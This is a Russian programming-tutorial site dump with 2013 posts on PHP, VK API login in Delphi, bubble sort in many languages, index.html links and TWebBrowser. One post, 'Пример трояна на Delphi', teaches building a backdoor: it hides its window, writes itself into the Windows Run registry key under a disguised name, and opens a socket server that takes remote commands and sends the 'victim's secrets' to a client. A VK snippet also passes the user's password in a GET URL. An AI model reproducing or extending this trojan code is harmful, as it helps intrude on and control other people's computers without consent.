<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Тест</title>
<meta http-equiv="Content-Type" content="text/html;charset=windows-1251" />
</head>
<body>
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
<img src="captcha.php" width="120" height="20" /><br />
Введите капчу: <input type="text" name="capcha" /><br />
<input type="submit" value="Отправить" />
</form>
</body>
</html>

Сохраняем файл. Все, наша «капча» готова.

Урок закончен.

Добавлено: 19 Августа 2013 05:36:21 Добавил: Андрей Ковальчук

8 веских причин сделать сайт на PHP

В наше время многие пользователи Интернета превращаются в его строителей. Насмотревшись на чужие сайты, простой интернетчик начинает задумываться и о собственном "офисе" в этом мегаполисе.

Но как? В какой программе? На каком языке?

Именно на последний вопрос даёт развёрнутый ответ эта статья.

А поскольку Вы её читаете, то видимо тоже заинтересованы в создании своего сайта.

На HTML (это простой язык разметки и оформления содержания сайта) можно написать несложный сайт-визитку или домашнюю страничку. Но хорошим сайтам свойственно расти, и для чего-то более сложного (и доходного!) Вам непременно понадобится более сложный язык.

Так что рано или поздно Вам придётся переводить свой уже готовый сайт на новый язык. Не лучше ли сделать это с самого начала?

Для этого Вам как нельзя лучше подойдёт язык PHP. Давайте рассмотрим его со всех сторон:
1. Это очень простой язык и хорошо совмещается с другими языками программирования.

Язык PHP (англ. PHP: Hypertext Preprocessor - "PHP: Препроцессор Гипертекста") действительно прост для изучения и понимания, особенно для тех, кто уже сделал свой небольшой сайт на HTML или на худой конец проходил на уроках информатики Паскаль или Бейсик.

В то же время это весьма мощный язык программирования. Он разработан для создания сайтов любой степени сложности. На нём можно написать как сайт-визитку, так и целый интернет-магазин.

В основу PHP легли языки C, Java и Perl. Он поддерживает обмен данными практически между всеми языками, на которых пишутся сайты.
2. С ним очень легко начать.

Для начала достаточно просто дать всем файлам расширение .php вместо .htm или .html. И даже если в них не будет ни одной команды PHP, они всё равно будут работать.

Команды PHP Вы можете добавлять по мере изучения языка.

Это также поможет в будущем не потерять ссылки на Ваш сайт с других сайтов. Ведь если, к примеру, на чужом сайте стоит ссылка на Вашу страницу

http://www.bestfree.ru/article/webdesign/ssi.html ,

а Вы решите поменять её расширение на .php:

http://www.bestfree.ru/article/webdesign/ssi.php ,

то посетитель, нажавший на первую ссылку, не сможет попасть на эту страницу, поскольку у неё будет уже другое имя.

Поэтому лучше заранее дать всем страницам расширение php.
3. PHP легко встраивается в HTML.

Вставки PHP легко можно добавить в существующий HTML-код в любом его месте. Например, используя подобную конструкцию

<META name="keywords" content="<?php echo $keywords ?>">

где <?php echo $keywords ?> и есть PHP-вставка, мы вставляем разные ключевые слова от разных страниц сайта в один и тот же шаблон его "шапки".

Проще говоря, PHP умеет гибко, удобно и лаконично...
4. Собирать страницы сайта из отдельных блоков!

То есть Вы легко можете поместить все более или менее повторяющиеся части страницы в отдельные небольшие файлы, и страница будет собираться из них, как дом из готовых блоков. И если Вам понадобится изменить что-то на всех страницах сразу, то не придется редактировать каждую из них. Достаточно изменить всего один файл, в котором содержится этот блок.

В принципе, для этого можно использовать команды SSI (англ. server side include - включения на стороне сервера), но они куда более громоздкие, менее гибкие и не так красиво будут подсвечиваться в HTML-редакторе :)
5. Позволяет контролировать все файлы сайта.

Это означает, что, создавая сайт на PHP, Вы можете редактировать любой файл сайта в любом текстовом редакторе, и всегда будете иметь копию всего сайта на Вашем компьютере.

В этом плане готовые CMS (системы управления сайтами) куда менее гибкие, и у каждой из них есть свой "характер", с которым надо ещё ужиться.

К тому же в отличие от них PHP...
6. Не запрещает давать страницам красивые имена.

Например, посмотрите на этот вымышленный адрес страницы, который мог бы быть при использовании CMS:

http://www.bestfree.ru/index.php?razdel=book&podrazdel=webdesign&species=ssi

А теперь на этот, который получается при использовании PHP:

http://www.bestfree.ru/book/webdesign/ssi.php

Кто-то скажет, что есть mod_rewrite, с помощью которого можно сделать автоматическую подмену адреса.

Да, можно. Но для тех, кто только начинает создавать сайты, mod_rewrite - излишнее усложнение, которое только добавляет путаницы.
7. PHP защищает исходный код сайта от посторонних.

Команды PHP выполняются на сервере, и посетители видят только результат их работы, но не их код. Таким образом, никто не может подсмотреть и скопировать PHP-код страниц Вашего сайта.
8. Он универсален во всём.

С помощью PHP можно создавать скрипты, поддерживающие все функции, которые обычно возлагают на CGI-программы. Например, собирать данные из форм, динамически генерировать содержимое страниц, принимать и отправлять куки (короткие фрагменты текста, присылаемые сервером браузеру).
Можно выводить на страницу картинки, файлы PDF, Flash-клипы, XML-файлы, любой текст (включая XHTML).
Кроме этого PHP поддерживает всевозможные протоколы, в частности необходимые для работы с электронной почтой: LDAP, IMAP, SNMP, NNTP, POP3, HTTP, COM (под Windows) и множество других.
PHP применяется и в электронной коммерции. Он позволяет подключать сайт к сервисам электронных платежей. Это будет особенно полезно, если Ваш сайт является интернет-магазином и Вы хотите, чтобы покупатели могли мгновенно оплачивать покупки.
Поддержка всевозможных баз данных и очень лёгкая работа с ними - также одна из сильных сторон PHP.
Его можно использовать во всех популярных операционных системах: Microsoft Windows, Linux, Unix, Solaris, OpenBSD, Mac OS X.
PHP поддерживается большинством существующих веб-серверов (программ, имитирующих работу Интернет-сервера на Вашем компьютере): Apache, Microsoft Internet Information Server, Personal Web Server и многие другие. В остальных, поддерживающих стандарт CGI, PHP может работать как CGI-процессор.
Профессионалам он позволяет программировать как в простом, процедурном стиле, так и в объектно-ориентированном. Или же сочетать их в любых пропорциях.

Ну разве он не молодец? :)

Подводя итог вышесказанному, язык PHP для веб-разработчика - тот самый чудо-инструмент, которым можно "и грядку вскопать, и дров нарубить". А в умелых руках он действительно может творить чудеса сайтостроения.

P.S. Если у Вас уже есть свой сайт на HTML и Вы хотели бы перевести его на PHP, то Вам определённо пригодится статья "Как перевести сайт на PHP".

Добавлено: 17 Августа 2013 12:46:45 Добавил: Андрей Ковальчук

Проект VK API в Delphi. Авторизация приложения в сети

Теперь нам необходимо авторизировать приложение в сети и получить секретный код и значение sid, которые в дальнейшем нам пригодятся для того, чтобы получать список друзей пользователя, список фотографий, альбомов и так далее. Что нам потребуется на данный момент

Tedit — 2 шт
TButton
TLabel — 3 шт
TidHTTP
ну и я поставил еще TPageControl

Для того, чтобы получить данные сессии для нашего приложения, нам необходимо отправить запрос на

http://vk.com/login.php.

Для начала мы получим запрос GET-ом для того, чтобы получить необходимые данные для отправки запроса POST на страницу vk.com/login.php. Для того, чтобы получить запрос GET нам необходимо получить следующую страницу ввида

http://vk.com/login.php?app=1918788&layout=popup&type=browser&settings=130

То есть мы должны заполнить данными наш URL для дальнейшего получения нужной нам информации. Где

app — идентификатор приложения, который вы получили при регистрации, мой идентификатор равен — 1918788
layout — указывает тип дизайна, получаемой страницы
type — указывает каким образом передается значение сессии
settings — битовая маска доступа настроек приложения к вашей странице.

Более подробно про авторизацию приложения Вы сможете прочитать на сайте ВК. Далее, когда мы получили нужный нам параметр с этой страницу, а получали мы значение app_hash путем парсинга страницы полученной, нам необходимо отправить POST запрос на страницу http://login.vk.com/ после чего получить новое значение app_hash и только потом отправить POST запрос на страницу vk.com/login.php, где мы уже будем получать данные сессии путем парсинга.

Перед началом всей этой работы я написал функцию парсинга вот такую

function Pars(str:String;str_begin:String;str_end:String;count:integer):String;
begin
   Delete(str,1,pos(str_begin,str)+length(str_begin));
   Delete(str,pos(str_end,str)-count,length(str));
   Pars:=str;
end;


И объявил вот такие вот переменные

PostVK:TStringList;
  htmlVK:WideString;
  logVK,app_nash:String;


Итак на событие onClick кнопки получить я написал следующий код

procedure TForm1.ButtonGoClick(Sender: TObject);
begin
   try
    logVK:=IdHTTP1.Get('http://vk.com/login.php?app=1918788&layout=popup&type=browser&settings=15615');
    PostVK:=TStringList.Create;
    PostVK.Clear;
    PostVK.Add('act=login');
    PostVK.Add('app=1918788');
    PostVK.Add('app_hash='+Pars(logVK,'app_hash = ',';',1));
    PostVK.Add('email='+EditLogin.Text);
    PostVK.Add('pass='+EditPass.Text);
    PostVK.Add('permanent=1');
    logVK:=IdHTTP1.Post('http://login.vk.com/',PostVK);
    PostVK.Clear;
    PostVK.Add('s='+Pars(logVK,'value=','/>',2));
    PostVK.Add('act=auth_result');
    PostVK.Add('m=4');
    PostVK.Add('parmanent=1');
    PostVK.Add('expire=""');
    PostVK.Add('app=1918788');
    PostVK.Add('app_hash='+Pars(logVK,'app_hash" value=','"',0));
    logVK:=IdHTTP1.Post('http://vk.com/login.php',PostVK);
    LabelSid.Visible:=True;
    LabelMid.Visible:=True;
    LabelSecret.Visible:=True;
    LabelMid.Caption:=Pars(logVK,'mid"',',',0);
    LabelSid.Caption:=Pars(logVK,'sid":','",',0);
    LabelSecret.Caption:=Pars(logVK,'secret":','",',0);
    PostVK.Free;
   except
    on e:Exception do
     PostVK.Free;
   end;
end;


То есть все как и говорил, получаем сначала GET-ом, а затем 2 POST-запроса, чтобы наконец-то добраться до нашей сессии и пропарсив ее, мы получим нужные нам данные — это

expire — Время истечения сессии в формате UNIX
mid — ID пользователя в ВКонтакте
secret — Специально сгенерированный секрет сессии
sid — Идентификатор сессии

Эти данные в дальнейшем понадобятся нам для получение более нужной информации с ВК. Но это в следующей статье и готовится модуль, который одной функцией будет получать все эти данные для дальнейшей работы.
Сейчас без сайта очень трудно представить крупную компанию, да и вообще продвинутого Интернет-пользователя. Для того, чтобы Ваш сайт постоянно и стабильно работал — Вам необходим надежный хостинг. Без хостинга никуда, так как это то место, где будет размещаться Ваш сайт. Хостинг Украины предоставляет Вам такую надежность, а самое главное качество и поддержка пользователей профессиональными специалистами.

Добавлено: 15 Августа 2013 10:35:06 Добавил: Андрей Ковальчук

Пример работы VKapi

Компонентов для работы с Vk Api никаких не нужно, читай подробно документацию!

Данный код публикует новую запись на стене выбранного пользователя:
на форме 2 едита для ввода логина и пароля, веббраузер на второй форме, 3 кнопки, мемо(для вывода логов работы)

//тут мы входим в акаунт
Код Delphi

procedure TForm1.Button1Click(Sender: TObject);
begin
IdHTTP1.AllowCookies:=True;
 IdHTTP1.HandleRedirects:=true;
 t:=TStringList.Create;
 try
  PageProfile:=IdHTTP1.Get('http://login.vk.com/?act=login&email='+edit1.Text+'&pass='+edit2.Text);
 except
 end;
 if Pos('logout', PageProfile)>0 then
 begin
memo1.Lines.Add('Авторизация прошла успешно!')
 end
 else
memo1.Lines.Add('Не удается войти.');
end;

//тут мы еще раз входим в акаунт только уже с помощью веббраузера и подтверждаем добавления приложения себе(в будущем можно обойтись без веббраузера, заменив все действия пост запросом, но пока вам будет легче именно так)
Код Delphi
procedure TForm1.Button3Click(Sender: TObject);
begin
form2.Visible:=true;
form2.WebBrowser1.Navigate('http://oauth.vk.com/authorize?client_id=3094229&scope=wall,photos,messages,groups&redirect_uri=http://oauth.vk.com/blank.html&display=touch&response_type=token');
end;

ВНИМАНИЕ! client_id= указан номер моего приложения, можешь канечно работать и так, но вообще лучше создать свое))

//тут мы отправляем сообщение выбранному пользователю, для этого укажите его id(без слово ид)
Код Delphi
procedure TForm1.Button4Click(Sender: TObject);
begin
a:=form2.WebBrowser1.LocationURL;
a:=Pars('access_token=',a,'&') ;
memo1.Text:=IdHTTP1.Get('https://api.vk.com/method/wall.post.xml?owner_id=тут ид того кому будет отправлять&from_group=1&message=testovoe_soobshenie&access_token='+a);
end;

и, да процедура парса:

Код Delphi
...
  public
  function Pars(T_, ForS, _T:string):string;
...
function TForm1.Pars(T_, ForS, _T: string): string;
var a, b:integer;
begin
Result := '';
if (T_='') or (ForS='') or (_T='') then Exit;
a:=Pos(T_, ForS);
if a=0 then Exit else a:=a+Length(T_);
ForS:=Copy(ForS, a, Length(ForS)-a+1);
b:=Pos(_T, ForS);
if b>0 then
Result:=Copy(ForS, 1, b - 1);
end;

p.s. Свое приложение можешь создать здесь:
http://vk.com/editapp?act=create
(Standalone-приложение)
p.s.s. стена для тебя должна быть открыта у того кому отправляешь
Для работы с https нужны специальные библиотеки

Добавлено: 15 Августа 2013 10:30:51 Добавил: Андрей Ковальчук

Примеры реализации сортировки пузырьком

Ассемблер
Синтаксис Intel

    mov bx, offset array
    mov cx, n
for_i:
    dec cx
    xor dx, dx
for_j:
    cmp dx, cx
    jae exit_for_j
    jbe no_swap
    mov ah, byte ptr bx[di]
    mov byte ptr bx[di], al
    mov byte ptr bx[si], ah
no_swap:
    inc dx
    jmp for_j
exit_for_j:
    loop    for_i


Синтаксис AT&T (GNU)

.text
# void bubble_sort (unsigned *array, unsigned length);
.globl bubble_sort
    .type   bubble_sort, @function
bubble_sort:
    mov 8(%esp), %ecx # unsigned length
    cmp $1, %ecx
    jbe exit
    mov 4(%esp), %eax # unsigned *array
    dec %ecx
for_ecx:
    xor %edi, %edi
for_edi:
    mov (%eax,%edi,4), %ebx
    cmp %ebx, 4(%eax,%edi,4)
    jae  no_xchng
    mov 4(%eax,%edi,4), %edx
    mov %edx, (%eax,%edi,4)
    mov %ebx, 4(%eax,%edi,4)
no_xchng:
    inc %edi
    cmp %edi, %ecx
    jne for_edi
    loop for_ecx
exit:
    ret


C

#define SWAP(A, B) { int t = A; A = B; B = t; }
 
void bubblesort(int *a, int n)
{
  int i, j;
 
  for (i = n - 1; i > 0; i--)
  {
    for (j = 0; j < i; j++)
    {
      if (a[j] > a[j + 1]) 
        SWAP( a[j], a[j + 1] );
    }
  }
}


C++
С использованием Template

#include <algorithm>
template< typename Iterator >
void bubble_sort( Iterator First, Iterator Last )
{
    while( First < --Last )
        for( Iterator i = First; i < Last; ++i )
            if ( *(i + 1) < *i )
                std::iter_swap( i, i + 1 );
}

Без использования Template

void bubble(int*a, int n)
{
for (int i=n-1;i>0;i--)
  {
    for (int j=0;j<i;j++)
      {
        if(a[j]>a[j+1])
          {
            int tmp=a[j];
            a[j]=a[j+1];
            a[j+1]=tmp;
          }
     }
  }
}


C#

void BubbleSort(ref int[] A)
{
   int temp;
 
   for(int i = 0; i < A.Length - 1; i++)
   {
      for(int j = 0; j < A.Length - i - 1; j++)
      {
         if(A[j] > A[j + 1])
         {
            temp = A[j];
            A[j]=A[j+1];
            A[j + 1] = temp;
         }
      }
   }
}


Delphi

Сортировка одномерного динамического целочисленного массива:

type
 TIntVec = array of Integer;
...
procedure BubbleSort(var a: TIntVec);
 var i,p,n: Integer; b: boolean;
begin
 n:= Length(a);
 if n < 2 then exit;
 repeat
  b:= false;
  Dec(n);
  for i:= 0 to n-1 do
   if a[i] > a[i+1] then
    begin
     p:= a[i];
     a[i]:= a[i+1];
     a[i+1]:= p;
     b:= true;
    end;
 until not b;
end;


D

void bubbleSort(alias op, T)(T[] inArray) {
    foreach (i, ref a; inArray) {
        foreach (ref b; inArray[i+1..$]) {
            if (mixin(op)) {
                auto tmp = a;
                a = b;
                b = tmp;
            }
        }
    }
}


Fortran

do i=n-1,1,-1
do j=1,i
    if (a(j).gt.a(j+1)) then
        t=a(j)
        a(j)=a(j+1)
        a(j+1)=t
    endif
enddo
enddo


Java

void swap(int[] arr, int i, int j) {
    int t = arr[i];
    arr[i] = arr[j];
    arr[j] = t;
}
 
void bubblesort(int[] arr){
    for(int i = arr.length-1 ; i > 0 ; i--){
        for(int j = 0 ; j < i ; j++){
            if( arr[j] > arr[j+1] )
               swap(arr, j, j+1);
        }
    }
}


Pascal

for i:=n-1 downto 1 do {n - размер массива M[]}
    for j:=1 to i do
        if M[j]>M[j+1] then 
            begin
               tmp:= M[j];
               M[j]:= M[j+1];
               M[j+1]:= tmp;
            end;
write('вывод значений M[]: ');
for i:=1 to n do
    write(M[i]:4);
writeln;

Усовершенствованный алгоритм сортировки пузырьком:

P:=True; {есть перестановка?}
K:=1; {Номер просмотра}
While P Do
Begin
    P:=false;
    For i:=1 To n-k Do
        If X[i] > X[i+1] Then
        Begin
            A:=X[i];
            X[i]:=X[i+1];
            X[i+1]:=A;
            P:=true;
        End;
    k:=k+1;
End;


Perl

for(@out){
  for(0..$N-1){
    if($out[$_]gt$out[$_+1]){
      ($out[$_],$out[$_+1])=($out[$_+1],$out[$_]);
    }
  }
}


Ruby

arr = [5, 20, 3, 11, 1, 17, 3, 12, 8, 10]
swap = true
size = arr.length - 1
while swap
  swap = false
  for i in 0...size
    swap |= arr[i] > arr[i + 1]
    arr[i], arr[i+1] = arr[i + 1], arr[i] if arr[i] > arr[i + 1]
  end
  size -= 1
end
puts arr.join(' ')
# output => 1 3 3 5 8 10 11 12 17 20


Python

def swap(arr, i, j):
    arr[i], arr[j] = arr[j], arr[i]
 
def bubble_sort(arr):
    i = len(arr)
    while i > 1:
       for j in xrange(i - 1):
           if arr[j] > arr[j + 1]:
               swap(arr, j, j + 1)
       i -= 1

VBA

Sub Sort(Mus() As Long)
Dim i As Long, tmp As Long, t As Boolean
t = True
Do While t
    t = False
    For i = 0 To UBound(Mus()) - 1
        If Mus(i) > Mus(i + 1) Then
            tmp = Mus(i)
            Mus(i) = Mus(i + 1)
            Mus(i + 1) = tmp
            t = True
        End If
    Next
Loop
End Sub


PHP

$size = sizeof($arr)-1;
for ($i = $size; $i>=0; $i--) {
    for ($j = 0; $j<=($i-1); $j++)
        if ($arr[$j]>$arr[$j+1]) {
            $k = $arr[$j];
            $arr[$j] = $arr[$j+1];
            $arr[$j+1] = $k;
        }
}

JavaScript

function sortBubble(data) {
    var tmp;
 
    for (var i = data.length - 1; i > 0; i--) {
        for (var j = 0; j < i; j++) {
            if (data[j] > data[j+1]) {
                tmp = data[j];
                data[j] = data[j+1];
                data[j+1] = tmp;
            }
        }
    }
    return data;
}


JavaFX

function bubbleSort(seq:Number[]):Number[]{
 
    var sort = seq;
    var elem:Number;
 
    for(n in reverse [0..sizeof seq - 2]){
        for(i in [0..n] ){
            if(sort[i+1] < sort[i] ){
                elem = sort[i];
                sort[i] = sort[i+1];
                sort[i+1] = elem;
            }
        }
    }
 
    return sort;
}

Nemerle

using System.Console;
using Nemerle.Collections;
 
def arr = array [100, 45, 2, 5, 3, 122, 3, 5, 6, 1, 3];
 
foreach (i in [0..arr.Length-1])
    foreach (j in [0..arr.Length-2])
       when (arr[j] > arr[j+1])
           (arr[j], arr[j+1]) = (arr[j+1], arr[j]);
 
WriteLine($"Sorted list is a $(arr.ToList())");


TurboBasic 1.1

CLS
RANDOMIZE TIMER
DEFINT X, Y, N, I, J, D
N = 10 ' 32 766 - 62.7 SEC
DIM Y[N], Y1[N], Y2[N], Y3[N], Y4[N] 'FRE(-1)=21440-21456
 
PRINT " ZAPOLNENIE MASSIVA ELEMENTAMI"
 
FOR X = 1 TO N
   Y[X] = X
   PRINT Y[X];
NEXT X:PRINT
 
PRINT " PEREMESHIVANIJE ELEMENTOV MASSIVA"
 
PRINT " SLUCHAINYE CHISLA"
 
FOR X = 1 TO N
   YD=Y[X]
   XS=INT(RND*N)+1
   PRINT XS;
   Y[X]=Y[XS]
   Y[XS]=YD
NEXT X:PRINT
 
PRINT " PEREMESHANNYJ MASSIV"
 
FOR X=1 TO N
   PRINT Y[X];
NEXT X:PRINT
 
'ALGORITM "SORTIROVKA PROSTYM OBMENOM" O(N^2)
MTIMER
FOR J=1 TO N-1 STEP 1
   F=0
   FOR I=1 TO N-J STEP 1
      'IF Y[I] > Y[I+1] THEN D=Y[I]:Y[I]=Y[I+1]:Y[I+1]=D:F=1
      IF Y[I] > Y[I+1] THEN SWAP Y[I],Y[I+1]:F=1
 
      LOCATE 8,1                    REM
      PRINT " ANYMACIJA SORTIROVKI" REM
      FOR X1=1 TO N                 REM ANIMATION BLOCK
         PRINT Y[X1];               REM
      NEXT X1:PRINT                 REM
      DELAY .5                      REM
 
   NEXT I
   IF F=0 THEN EXIT FOR
NEXT J
T1=MTIMER
 
PRINT " OTSORTIROVANNYJ MASSIV"
 
FOR X=1 TO N
   PRINT Y[X];
NEXT X:PRINT
PRINT "ELAPSED TIME=";T1

Добавлено: 15 Августа 2013 01:39:23 Добавил: Андрей Ковальчук

Немного об index.html

После относительно загрузочных статей о профессиональном дизайне так и хочется поговорить о чем-нибудь более земном, близком к простому народу.

Вот, например, в одном из обзоров я упомянул, что ставить в ссылках «index.html» — это ламерство. Естественно, ламером никому быть не хочется, и некоторые читатели заинтересовались: почему это, собственно, ставить в ссылках «index.html» — это плохо? Объясняю.

Абсолютно все URL'ы, существующие в интернете, замечательно обходятся без всяких там «index.html» (как и index.htm, default.htm и т.п.). И с индекс.хтмл, и без него результат, который пользователь увидит в окне браузера, будет совершенно одинаковым.

Поэтому не нужно усложнять и без того длинные адреса страниц. Не нужно подстраховываться, думая: «А вдруг без индекс.хтмл главная страница моего сайта не будет показываться». Не беспокойтесь, все будет в порядке. Сервер сам найдет в каталоге index.html и покажет его содержимое, даже если в ссылке вы укажете, например, www.softlist.ru, а не www.softlist.ru/index.html.

Кто-то может сказать: «Да ладно, какая разница, что там в ссылке написано? Кликнул один раз — и все, страница загрузилась. Не все ли равно, сколько букв в адресе?»

Получается, что не все равно. Через полгода (а то и быстрее) ссылки с «индекс.хтмл» расползутся по всему интернету и за его пределы. Пользователи будут ставить закладки, вебмастера различных каталогов ресурсов занесут адрес сайта в свои базы данных, роботы поисковых серверов проиндексируют страницы, журналисты (зачастую далекие от интернета и компьютеров) будут добросовестно переписывать URL'ы в черновики своих будущих статей.

Как изменится ваш сайт за все это время — никто не знает. Может, вы захотите использовать SSI, и все ваши страницы придется переименовать в *.shtml. Возможно, вы освоите чудный язык программирования PHP, а администратор вашего сервера разрешит использовать его только в страницах *.php или *.phtml. А может быть, ваш сайт переедет к другому провайдеру, у которого установлен Microsoft Internet Information Server, где по страницей по умолчанию является вовсе не index.html, а (о ужас!) какой-нибудь default.asp.

Короче, все ссылки, в которых встречается «индекс.хтмл» перестанут работать, а ссылки без «index.html» в URL сохранят свою актуальность. Вот, например, адрес этого сайта как был все время http://www.domain.ru, так и остался, а имя индексной страницы менялось пару раз. Соответственно все ссылки, которые указывают на http://www.domain.ru, работают, а ссылки на http://www.domain.ru/index.html приводят читателя на страницу 404 Error.

URL'ы с index.html на страницах печатных изданий — та еще гадость. Мне так и видится напуганная секретарша, которая прочитала в «Космополитене» о модном интернете и теперь старательно печатает одним пальцем длинные адреса со страниц журнала. Задачка: сколько ошибок она сделает, набирая непонятный и совершенно ненужный «index.html» и во сколько раз уменьшатся ее шансы попасть на нужную страницу?

В общем, от «индекс.хтмл» в ссылках нет никакой пользы — одни неприятности. Поэтому если вы все еще старательно выписываете в адресах страниц «index.html», то лучше бросить это ненужное занятие.

Добавлено: 15 Августа 2013 01:20:37 Добавил: Андрей Ковальчук

Пример трояна на Delphi.

[Вступление]
Привет, читатель! Это моя первая статья по кодингу, да и вообще первая хорошая статья, поэтому краткое вступление:
В сентябре 2005 года, когда я только ударился в хакинг {и ударился больно}, я взял трояна ALB и считал себя суперхакером. Но
вскоре я понял, что ХАКЕР - ЭТО НЕ ТОТ ЧЕЛОВЕК, КОТОРЫЙ ЮЗАЕТ ТРОЯН, А ТОТ, КТО ЕГО ПИШЕТ! {золотая истина!}. И вот, через
полгода я уже в состоянии написать собственного коня, этим мы и займемся.

[Теория]
Наш троян будет состоять из двух частей: клиента и сервера. Сервер - это та часть, которая будет на компьютере жертвы, она
будет открывать соединение через сокет {что такое сокет смотри ниже} и выполнять текстовые команды клиента. Клиент - это,
как ты догадался, прога, которая должна стоять у нас и управлять сервером.

[Порты и сокеты]
Существует мировой тандарт структуры протоколов связи - семиуровневая OSI (Open Systems Interface - интерфейс открытых
систем). Hа каждом из уровней этой структуры решается свой объем задач своими методами. Сокеты находятся на так назывемом
транспортном уровне - ниже находится сетевой протокол IP, выше - специализированные протоколы сеансового уровня,
ориентированные на решение конкретных задач - это всем известные FTP, SMTP, etc.
Если смотреть по сути, сокет - это модель одного конца сетевого соединения, со всеми присущими ему свойствами, и,
естественно - возможностью получать и передавать данные.
Когда говорят СОКЕТ, то часто не представляют, что это такое. Можно говорить о моделях, о реализациях и так далее. Но есть
одно простое толкование, применимое для протокола IP. Как известно для взаимодействия между машинами по протоколу IP
используются адреса и порты.
Первое на текущий момент представляют из себя 32-x битный адрес, наиболее часто его представляют в символьной форме
mmm.nnn.ppp.qqq (адрес разбитый на четыре октета по одному байту в октете и разделеный точками) . Второе - это номер порта
в диапазоне от нуля до 65535. Так вот эта пара и есть сокет (гнездо в в котором расположены адрес и порт). В процессе обмена
как правило используются два сокета - сокет отправителя и сокет получателя.
Порт - это "гавань", на которую можно пристыковаться, как сказно выше, на одном IP - 65535 портов. Все они есть в системе, но
активны только несколько. Сервер нашего трояна открывает порт, а клиент к нему стыкуется. В это время идет обмен данными.

[Практика]
Итак, приступим!
Сервер и клиент сокетов расположены на вкладке Internet и называются ServerSocket и ClientSocket. Внимание! Не перепутай:
В Delphi 7 этих компонентов стандартно нет, есть только компоненты TCPServer и TCPClient - они нам
НЕ ПОДХОДЯТ!{в данном случае}. Если у тебя Delphi 7, тебе придется вручную установить их, для этого иди в
Component>>insall Packages>>Add>>Директория_Делфи/bin/dclsockets70.bpl

[Сервер]
Кидаем на форму серверный компонент , пусть это будет ServerSocket1.
Установим свойство port равным 45288, это порт, по которому наш троян будет принимать приказы и отсылать секреты жертвы.

В разделе программы var описываем переменные:

i:string;


Теперь запрячем форму, т.к. нам совсем необязательно, чтобы жертва видела, что у нее живет троянская лошадь:
Выбираем процедуру формы (Form1) OnCreate:

Application.ShowMainForm:=false;
{Приложение.ПоказыватьГлавнуюФорму:=ложь}
ServerSocket1.Open; {Запускаем сервер}


Теперь заставим трояна прописываться в автозагрузку: (в uses добавить registry, в var - registry:TRegistry


registry:=tregistry.Create; {инициализирум реестр}
registry.RootKey:=hkey_local_machine; {выбираем ключ. Подойдет также HKEY_CURRENT_USER, но только для данного юзверя}
registry.OpenKey('softwaremicrosoftwindowscurre ntversion
un',true); {подключ}
registry.Writestring('explore',Application.ExeName ); {создаем запись}
Registry.CloseKey; {закрываем ключ}
Registry.Free; {освобождаем реестр}


Теперь наш троян не только не виден в списке приложений, но и сам запускается с запуском винды. Следующий шаг - принимаем команды от сервера:

В событии сервера OnClientRead {поступила команда от клиента} пишем:

i:=ServerSocket1.Socket.ReceiveText {пишем принятый текст в переменную, для сохранности}

{

А вот здесь я открываю место для твоей фантазии. Теперь можно делать так:
если поступила команда 'поменять кнопки мыши', меняем кнопки мыши, и т.д.

Вот как это выглядит на Делфи:
}

if i='поменять кнопки мыши' then 
SwapMouseButton(true) //Обратно - swapmousebutton(false)

{Остальное здесь допишешь сам, я лишь направляю твои мысли в нужное русло}


Ты научился принимать и обрабатывать команды клиента, но иногда нужно наоборот - передать что-то клиенту, например имя пользователя. Это делается так:
Сейчас мы будем передавать версию сервера.
В той же процедуре добавляем:


if i='версия' then 
ServerSocket1.Socket.Connections[0].SendText('тестовая версия');


Как видно, с помощью команды sendtext мы отправили первому клиенту сообщение "тестовая версия".

Не забудь сохранить проект.

С сервером разобрались, теперь клиент.

[Клиент]
Создаем новый проект.

//Клиент, который я использую довольно простой. Не вздумайте делать такой в заказном трояне, например!!!

В var также обьявляем переменную i стрингового типа для сбрасывания получаемой информации.

Бросаем на форму edit'ы, которые мы будем использовать: IP сервера, текст команды. Называем соответственно IP и Message;
Бросаем 4 компонента Button, называем их Connect, Disconect, Send, Exit.
Также находим ClientSocket и называем его Client.
И для полного контроля StatusBar, называем sb, сюда будут приходить ответы сервера.

Дальше обработчики событий для клиента:


{OnConnect}
sb.SimpleText:='Подключение произошло успешно';

{OnError}
sb.SimpleText:='Произошла ошибка';

{OnDisconnect}
sb.SimpleText:='Клиент отключен';

{OnConnecting}
sb.SimpleText:='Подключаюсь...';

{OnRead}
i:=Client.ReceiveText;
sb.SimpleText:=i;


Теперь обработаем событие OnClick для кнопок:


{Exit}
form1.close;

{Connect}
client.Address:=IP.text; //Передаем клиенту адрес, вписанный в Edit
client.Open; //Активация клиента

{Disconnect}
client.close;

{Send}
Client.SendText(Message.text);
sb.SimpleText:='Данные отправлены';

Добавлено: 15 Августа 2013 01:03:12 Добавил: Андрей Ковальчук

Самый простой способ получить содержимое вебсайта на Delphi.

Это один из самый простых способов получения содержимого вебсайта. Для работы нам потребуется стандартный TWebBrowser, который использует для работы ядро Internet Explorer. Кидаем на форму кнопку и пишем такой обработчик нажатия (событие OnClick во вкладке событий):

procedure TForm.Button1Click(Sender:TObject);
var // тут мы объявляем переменные, где будем хранить сохраненный документ.
Doc: IHTMLDocument2; // внутренние представление HTML кода в браузере
S: string; // так как фактически сайт это набор HTML кода, то в качестве переменной разумно использовать строковой тип String
begin
WebBrowser1.Navigate('http://google.com'); // этой строкой мы сообщаем, что браузеру необходимо открыть сайт google.com

Doc := WebBrowser1.Document as IHTMLDocument2; // преобразуем тип и присвоим переменной Doc
S := Doc.body.innerHTML; // получим код в переменную S
end;

Вот и все!

Добавлено: 15 Августа 2013 01:00:31 Добавил: Андрей Ковальчук

Использование компонента TWebBrowser

Базовые операции

Тонкая настройка

Доступ к документной модели TWebBrowser

Во многих современных программах необходимо работать с данными в формате HTML. В качестве средства для просмотра таких данных в Delphi применяется компонент TWebBrowser, который использует элемент управления ActiveX WebBrowser, входящий в состав Microsoft Internet Explorer. Таким образом, этот компонент имеется на любом компьютере, на котором установлен Internet Explorer. Все последние версии Windows содержат TWebBrowser в своем составе и без него практически неработоспособны.
Базовые операции

Для того чтобы использовать TWebBrowser в своей программе, следует разместить на форме соответствующий компонент, имеющийся на закладке Internet. Затем, для отображения в нем страницы HTML, необходимо вызвать его метод Navigate:

procedure TForm1.Button1Click(Sender: TObject);
var
  Flags, TargetFrameName, PostData, Headers: OleVariant;
begin
  WebBrowser1.Navigate(‘http://www.borland.com’, Flags, 
    TargetFrameName, PostData, Headers);
